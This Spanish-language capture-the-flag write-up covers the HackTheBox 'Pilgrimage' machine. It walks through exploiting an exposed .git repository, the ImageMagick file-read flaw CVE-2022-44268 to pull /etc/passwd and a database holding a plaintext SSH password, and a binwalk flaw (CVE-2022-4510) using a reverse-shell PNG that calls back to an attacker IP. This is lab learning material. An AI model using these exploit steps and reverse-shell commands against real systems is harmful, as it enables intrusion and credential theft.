articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • Enumeración
  • Puerto 80
  • Git-dumper
  • CVE-2022-44268
  • shell - emily
  • Procesos
  • shell - root
  • CVE-2022-4510
  1. Write up
  2. Hackthebox

Pilgrimage

PreviousWifineticNextKeeper

Last updated 10 months ago

Pilgrimage es una máquina Linux de dificultad fácil que presenta una aplicación web con un repositorio Git expuesto. El análisis del sistema de archivos subyacente y el código fuente revela el uso de una versión vulnerable de ImageMagick, que se puede utilizar para leer archivos arbitrarios en el objetivo mediante la incorporación de un fragmento tEXT malicioso en una imagen PNG. La vulnerabilidad se aprovecha para obtener un archivo de base de datos SQLite que contiene una contraseña de texto sin formato que se puede utilizar para acceder a la máquina mediante SSH. La enumeración de los procesos en ejecución revela un script Bash ejecutado por root que llama a una versión vulnerable del binario Binwalk. Al crear otro PNG malicioso, se aprovecha CVE-2022-4510 para obtener la ejecución remota de código (RCE) como root.

Enumeración

Iniciamos con la enumeración de puertos de la maquina.

❯ nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.219 -oG allportsScan

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Los puertos abiertos que encontramos son el 22 y 80, teniendo los puertos abiertos procederemos a enumerar las versiones y servicios.

❯ nmap -p22,80 -sC -sV -vvv -Pn -n 10.10.11.219 -oN servicesScan
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnPDlM1cNfnBOJE71gEOCGeNORg5gzOK/TpVSXgMLa6Ub/7KPb1hVggIf4My+cbJVk74fKabFVscFgDHtwPkohPaDU8XHdoO03vU8H04T7eqUGj/I2iqyIHXQoSC4o8Jf5ljiQi7CxWWG2t0n09CPMkwdqfEJma7BGmDtCQcmbm36QKmUv6Kho7/LgsPJGBP1kAOgUHFfYN1TEAV6TJ09OaCanDlV/fYiG+JT1BJwX5kqpnEAK012876UFfvkJeqPYXvM0+M9mB7XGzspcXX0HMbvHKXz2HXdCdGSH59Uzvjl0dM+itIDReptkGUn43QTCpf2xJlL4EeZKZCcs/gu8jkuxXpo9lFVkqgswF/zAcxfksjytMiJcILg4Ca1VVMBs66ZHi5KOz8QedYM2lcLXJGKi+7zl3i8+adGTUzYYEvMQVwjXG0mPkHHSldstWMGwjXqQsPoQTclEI7XpdlRdjS6S/WXHixTmvXGTBhNXtrETn/fBw4uhJx4dLxNSJeM=
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOaVAN4bg6zLU3rUMXOwsuYZ8yxLlkVTviJbdFijyp9fSTE6Dwm4e9pNI8MAWfPq0T0Za0pK0vX02ZjRcTgv3yg=
|   256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILGkCiJaVyn29/d2LSyMWelMlcrxKVZsCCgzm6JjcH1W
80/tcp open  http    syn-ack nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80

En el puerto 80 encontramos un sitio web para subir una imagen y la almacena en la nube otorgándonos un link.

Al crearnos un usuario podemos almacenar varias imágenes teniendo los links a disposición de nuestro usuario.

Git-dumper

Usando diversos diccionarios para enumerar los directorios encontré el directorio .git y para enumerar los directorio use feroxbuster.

❯ feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt --url http://pilgrimage.htb/ -x php
❯ git-dumper 'http://pilgrimage.htb/.git' ./Git

Luego de obtener dichos archivos:

En uno de ellos podemos encontrar con la ejecución de un binario el cual también tenemos en nuestra maquina atacante.

CVE-2022-44268

El binario que se ejecuta es magick, que ejecutando ./magick --version podremos ver la versión del binario.

Ejemplo de uso del sploit:

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png
(~)>>> convert exploit.png result.png
(~)>>> identify -verbose result.png
(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Generaremos nuestra imagen maliciosa que apunta al /etc/passwd.

Subimos nuestra imagen.

Luego de subir la imagen, descargaremos la imagen que subimos.

(~)>>> convert 669f113250f5f.png result.png

Luego de obtener la imagen result.png, ejecutaremos el siguiente comando:

(~)>>> identify -verbose result.png

Luego obtendremos un contenido en hexadecimal el cual con ayuda de python podremos obtener el contenido del /etc/passwd

python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'

Luego de ejecutar el comando en python obtenemos el contenido del /etc/passwd del sistema victima.

shell - emily

Revisando un poco mas el código encontraremos que se llama a una base de datos en la ruta /var/db/pilgrimage para almacenar el nombre de las imágenes. Entonces ahora será obtener la información de la base de datos.

❯ python3 generate.py -f "/var/db/pilgrimage" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /var/db/pilgrimage
   [>] PoC PNG generated > exploit.png

Luego de cargar la imagen y descargar la imagen, podemos ejecutar el siguiente comando para poder obtener el contenido de manera automática y no como lo hicimos anteriormente.

❯ identify -verbose 669f223ecb6b0.png | grep -Pv "^( |Image)"  | xxd -r -p

Vemos que efectivamente contiene la información de la base de datos, que lo guardaremos en un archivo.

❯ identify -verbose 669f223ecb6b0.png | grep -Pv "^( |Image)"  | xxd -r -p > Pilgrimage.db

Haciendo uso de sqlite3 podremos leer la base de datos.

En la base de datos encontraremos credenciales del usuario emily

emily : abigchonkyboi123

Las credenciales que encontramos son validas contra el servicio ssh

Procesos

Enumerando los procesos con ayuda de pspy64 podemos ver que se ejecuta un script malwarescan.sh y el usuario que lo ejecuta tiene el uid=0 que es propio del usuario root

Procedemos a ver el script:

emily@pilgrimage:/tmp$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

Vemos que se ejecuta dentro del script binwalk

shell - root

Enumerando la versión de binwalk la versión del binario

Buscando por internet sobre la versión del binario encontraremos que este tiene una vulnerabilidad en donde podemos ejecutar comandos.

CVE-2022-4510

El exploit que nos permite ejecutar comando es:

Que lo puedes descargar de github. Luego de descargarlo podemos generar nuestra imagen maliciosa.

❯ python3 walkingpath.py reverse /home/b0ysie7e/Descargas/cat.png 10.10.14.55 443

Luego de generar obtenemos una imagen con el nombre de binwalk_exploit.png

Ahora para enviar esta imagen a la maquina victima, haremos uso de un servidor en python3

❯ python3 -m http.server 80

Pero antes de descargar en la maquina victima debemos de ponernos a la escucha con ncat

❯ ncat -nvlp 443

Descargamos la imagen en la maquina victima

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget http://10.10.14.55/binwalk_exploit.png

Luego de subir dicha imagen deberíamos de obtener una Shell como el usuario root.

Teniendo este directorio podemos obtener todos los archivos del .git con . con el siguiente comando podemos obtener los directorios.

Investigando un poco encontraremos que esta version de este binario tiene una vulnerabilidad el cual permite leer archivos del sistema.

📕
git dumper
CVE-2022-44268
https://github.com/adhikara13/CVE-2022-4510-WalkingPath
20240722180009.png
20240722192319.png
20240722192422.png
20240722192514.png
20240722193251.png
20240722213452.png
20240722213549.png
20240722213654.png
20240722214513.png
20240722214659.png
20240722231256.png
20240722231403.png
20240722231418.png
20240722234242.png
20240722234326.png
20240723002729.png
20240723002852.png
20240723002955.png